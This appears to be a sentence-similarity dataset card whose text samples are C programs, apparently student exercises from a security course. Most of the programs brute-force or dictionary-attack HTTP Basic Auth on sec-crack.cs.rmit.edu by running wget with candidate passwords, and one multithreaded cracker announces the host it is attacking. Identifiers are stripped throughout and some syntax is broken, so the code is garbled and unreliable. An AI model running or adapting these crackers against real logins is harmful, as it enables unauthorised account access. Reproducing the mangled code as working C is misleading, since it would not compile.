  partition=combo_entries/num_threads;

  
  if(partition==0)
  {
    puts("Reducing the number of threads  match the number of words.");
    num_threads=combo_entries;
    partition=1;
  }

  
  prev_min=0;
  prev_max=partition;
  i=0;

  memset(&, 0, sizeof(struct timeval));
  memset(&stop, 0, sizeof(struct timeval));

  
  while(i<num_threads && i<MAX_THREADS)
  {
    
    =malloc(sizeof(struct range));
    ->=prev_min;
    ->=prev_max;

    
    pthread_mutex_lock(&thread_lock);
      thread_ready_indicator=false;
    pthread_mutex_unlock(&thread_lock);

    
    if(pthread_create(&tid[i++], NULL, client, (void *))!=0) puts("Bad thread ...");

    
    pthread_mutex_lock(&thread_lock);
      while(thread_ready_indicator==false) pthread_cond_wait(&thread_ready, &thread_lock);
    pthread_mutex_unlock(&thread_lock);

    
    prev_min+=partition+1;

    
    if(i==num_threads)
    {
      prev_max=combo_entries;
    }
    else
    {
      prev_max+=partition+1;
    }
  }

  
  gettimeofday(&, NULL);

  
  pthread_mutex_lock(&thread_lock);
    thread_start_indicator=true;
  pthread_mutex_unlock(&thread_lock);

  
  pthread_cond_broadcast(&start_hacking);

  
  printf("Created %d threads  process %d passwords\n", num_threads, combo_entries);
  printf("Attacking host: %s\n", host);
  fflush(stdout);

  
  for(i=0; i<num_threads && i<MAX_THREADS; i++)  pthread_join(tid[i], NULL);

  gettimeofday(&stop, NULL);

  
  puts("Could not determine the password for this site.");
  printf("About %d attempts were , which took %ld.%ld seconds  complete.\n",
  attempt_count, stop.tv_sec-.tv_sec, labs(stop.tv_usec-.tv_usec));
  fflush(stdout);

  
  for(i=0; i<combo_entries; i++) (combination[i]);
  (*combination);

  return EXIT_SUCCESS;
}

, #include<stdio.h>
#include<string.h>
#include<strings.h>
#include<stdlib.h>
#include<sys/time.h>


public static void main()
{
	int i;
	char ar[100];
	FILE* f;
	FILE* ;
	system("wget -O first www.rmit.edu./students");  
	while(1)
	{
		sleep(86400);	
		system("rm -f thed");
		system("rm -f new");
		system("wget -O new www.cs.rmit.edu./students");	
		system("diff new first >thed");	
		f=fopen("thed","r");
		if(fgets(ar,100,f)!=NULL)
		{		
			 printf("\n\n The  has CHANGEDS");		
			system("mail @cs.rmit.edu. <thed"); 
			system("cp new first");
			fclose(f);
		}
		else
		{
		fclose(f);
		printf("\n\nthe  has not changed ");
		}
	}

}

	
	
	
		


, #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<ctype.h>
#include<time.h>

int ()
{

 int m,n,o,i;
 char URL[255];
 char v[3];
 char temp1[100];
char temp2[100];
char temp3[250];
char [53]={'a','A','b','B','c','C','d','D','e','E','f','F','g','G','h','H','i','I','j','J','k','K','l','L','m','M','n','N','o','O','p','P','q','Q','r','R','s','S','t','T','u','U','v','V','w','W','x','X','y','Y','z','Z'};
time_t u1,u2;

  (void) time(&u1); 
 strcpy(temp1,"wget --http-user= --http-passwd=");
 strcpy(temp2," http://sec-crack.cs.rmit.edu./SEC/2/index.php");
 
 for(m=0;m<=51;m++)
 {
   v[0]=[m]; 
   v[1]='\0';
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3); 
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
  for(n=0;n<=51;n++)
  {
   v[0]=[m]; 
   v[1]=[n];
   v[2]='\0';
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   for(o=0;o<=51;o++)
   { 
   v[0]=[m]; 
   v[1]=[n];
   v[2]=[o];
   strcpy(URL,v); 
   printf("\nTesting with password %s\n",URL);
   strcat(temp3,temp1);
   strcat(temp3,URL);
   strcat(temp3,temp2);
   printf("\nSending the  %s\n",temp3);
   i=system(temp3);
   	
	if(i==0)
   	{
	 (void) time(&u2); 
	 printf("\n The password is %s\n",URL);
	 printf("\n\nThe time_var taken  crack the password is  %d  second\n\n",(int)(u2-u1));
     	 exit(0);
   	} 
	else
	{
	strcpy(temp3,"");
	}
   
   
   }
  }
 }  
  
}  
, source_sentence: 
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <strings.h>
#include <sys/times.h>
#define OneBillion 1e9

int () {
   FILE *fptr;
   char pass[257];
   char send[100],path[50];
   int res,count=0;
   int startTime, stopTime, final;
   startTime = time();
   while((fptr=(fopen("/usr/share/lib/dict/words","r")))!= NULL) {
   
      while(1) {
         fgets(pass,256,fptr);
         if(pass == NULL) exit(1);
         if(pass[3]=='\n') {
            pass[3]='\0';
	    send[0]='\0';
	    strcpy(send,"wget --http-user= --http-passwd=");
 	    strcat(send,pass);
	    strcat(send," http://sec-crack.cs.rmit.edu./SEC/2/");
	    count++;
	    if((res=(system(send)) == 0)) {
	       fclose(fptr);
	       stopTime = time();
               final = stopTime-startTime;
	       printf("\n THE PASSWORD IS = %s & TIME TAKEN =%lf seconds &  OF COMPARISIONs  = %d\n",pass,(double)final/OneBillion,count);
	       exit(1);
	    }
         }
      }
   }
   printf("\nFILE CANNOT  OPENED\n");
}

sentences: 



#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <unistd.h>

#define USERNAME ""
#define URL "sec-crack.cs.rmit.edu./SEC/2"
#define TEST_URL "yallara.cs.rmit.edu./~/secure"
#define MAX_PASSWD_LEN 3

#define DICT_FILE "/usr/share/lib/dict/words"
#define TRUE 1
#define FALSE 0

typedef int (*CrackFuncPtr)(const char*, const char*);

typedef struct node* NodePtr;

typedef struct node
{
	char str[50];
	NodePtr next;	
} Node;

typedef struct list* ListPtr;

typedef struct list
{
	NodePtr head;
	int ctr;
} List;

NodePtr makeNode(const char *str);
void printList(const ListPtr l);
void loadFile(const char fname[], ListPtr l);
void add(ListPtr l, const char *str);
int crackHTTPAuth(const char *username, const char *passwd);
void runDictCrack(const ListPtr l, CrackFuncPtr func);
void freeWList(ListPtr wL);
int isValidPasswd(const char *str);

int ()
{
	List wordList;

	wordList.head = NULL;
	wordList.ctr = 0;

	loadFile(DICT_FILE, &wordList);

	runDictCrack(&wordList, crackHTTPAuth);

	freeWList(&wordList);
	return 0;
	
}



NodePtr makeNode(const char *str)
{
	NodePtr newNode = malloc(sizeof(Node));
	
	if (newNode)
	{
		strncpy(newNode->str, str, strlen(str)+1);
		newNode->next = NULL;	
		return newNode;
	}
	else
	{
		fprintf(stderr, "\nError: Unable  allocate %d btyes memory\n", sizeof(Node));
		return NULL;
	}

}



void add(ListPtr l, const char *str)
{
	NodePtr *iter;
	NodePtr n ;
	n = makeNode(str);

	if (n == NULL)
	{
		exit(1);
	}

	iter = &(l->head);

	if (l->head == NULL)
	{
		l->head = n;
	}
	else
	{
		while (*iter != NULL)
		{
			iter = &((*iter)->next);
		}

	}

	l->ctr = l->ctr+1;

	*iter = n;
	(l->ctr)++;
	
}



void printList(const ListPtr l)
{
	NodePtr iter = l->head;

	while (iter != NULL)
	{
		printf("\n%s", iter->str);
		iter = iter->next;
	}
}




void loadFile(const char fname[], ListPtr l)
{
	FILE *fp;
	char str[50];
	NodePtr p;
	int i=0;
	
	fp = fopen(fname, "r");

	if (fp)
	{
		printf("\nLoading dictionary file...\n");
		while(fgets(str, 50, fp) != NULL)
		{
			if (str[strlen(str)-1] == '\n')
			{
				str[strlen(str)-1] = '\0';
			}

			if (isValidPasswd(str))
			{
				add(l, str);
				i++;
			}
		}
		printf("total %d\n", i);
	}
	else
	{
		fprintf(stderr, "\nError: Cannot  dictionary file\n");
		exit(1);
	}

	fclose(fp);
}



int crackHTTPAuth(const char *username, const char *passwd)
{
	char cmd[3000] = "";
	struct stat fileInfo;
	int success = FALSE;
					
	sprintf(cmd, "wget -O dictTemp -q --http-user=%s --http-passwd=%s --proxy=off %s", 
		username, passwd, URL);

	system(cmd);	
	
	(void)stat("dictTemp", &fileInfo); 
	
	return fileInfo.st_size;
									
}



void runDictCrack(const ListPtr l, CrackFuncPtr func)
{
	NodePtr iter;

	iter = l->head;

	while (iter != NULL)
	{
		if(func(USERNAME, iter->str))
		{
			printf("\nPassword found: %s", iter->str);
			break;
		}
		else
		{
			iter = iter->next;
		}
		
	}
}



void freeWList(ListPtr wL)
{
	NodePtr iter, next;

	iter = wL->head;

	next = iter->next;

	while (iter != NULL)
	{
		next = iter->next;		
		(iter);
		iter = NULL;
		iter = next;
	}
}



int isValidPasswd(const char *str)
{
	int len = strlen(str);
	int i;
	
	if (len <= MAX_PASSWD_LEN)
	{
		for	(i=0; i<len; i++)
		{
			if (!isalpha(str[i]))
			{
				return FALSE;
			}
		}
		return TRUE;
	}
	else
	{
		return FALSE;
	}
}
, #include<stdio.h>
#include<stdlib.h>
#include<strings.h>
#include<ctype.h>
#include <sys/time.h>
#define OneBillion 1e9


int ()
{   int startTime, stopTime, final;
    int i,j,k;
    int pass,count=0;
    char arr[52] ={'A','a','B','b','C','c','D','d','E','e','F','f','G','g','H','h','I','i','J','j','K','k','L','l','M','m','N','n','O','o','P','p','Q','q','R','r','S','s','T','t','U','u','V','v','W','w','X','x','Y','y','Z','z'};
    char [4];
    char url1[100];
    char url2[100];

    startTime = time();
   for (i=0;i<=52;i++)
   {

     for (j=0;j<=52;j++)
       {

	for(k=0;k<=52;k++)

	  { 
	     count++;
             [0] = arr[i];
	     [1] = arr[j];
	     [2] = arr[k];
	     [3] = '\0';


	     printf("Checking for the word :%s\n",);
	     strcpy(url1 ,"wget --http-user= --http-passwd=");
	     strcpy(url2 , " -nv -o output http://sec-crack.cs.rmit.edu./SEC/2/ ");
	     strcat(url1,);
	     strcat(url1,url2);


	     pass = system(url1);
	     if (pass == 0)
	     {   
                printf("Success\n");
		printf("Number of attempts = %d\n",count);
	        stopTime = time();

                final = stopTime-startTime;
		printf("The password for the user  : %s\n",); 
                printf(" Cracked the password in %lld nanoseconds (%1f seconds) \n",final,(double)final/OneBillion);
	        
		exit(1);}


	      }
        }

   }
 }


, 

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/time.h>
#include<string.h>
int ()
{
char a[100],c[100],c1[100],c2[100],m[50];
char b[53]="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

int i,j,k,count=0;
int  total_time,start_time,end_time;
start_time = time();


for(i=0;i<52;i++)
{
	
	m[0]=b[i];
	m[1]='\0';
	strcpy(c,m);
	printf("%s \n",c);
	for(j=0;j<52;j++)
	{
	m[0]=b[j];
	m[1]='\0';
	strcpy(c1,c);
	strcat(c1,m);
	printf("%s \n",c1);
	for(k=0;k<52;k++)
	{
		count++;
		printf("ATTEMPT :%d\n",count);
		
		m[0]=b[k];
		m[1]='\0';
		strcpy(c2,c1);
		strcat(c2,m);

strcpy(a,"wget http://sec-crack.cs.rmit.edu./SEC/2/index.php --http-user= --http-passwd=");

		strcat(a,c2);		
		if(system(a)==0)
		{
		printf("Congratulations!!!!BruteForce Attack Successful\n");
		printf("***********************************************\n");
		printf("The Password is %s\n",c2);
		printf("The Request sent is %s\n",a); 
                end_time = time();
                total_time = (end_time -start_time);
                total_time /= 1000000000.0;
                printf("The Time Taken is : %llds\n",total_time);
		exit(1);
		}
		
		
		
		
	}

}
}
return 0;
}

pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 31
Created: 2025-07-02 14:41:39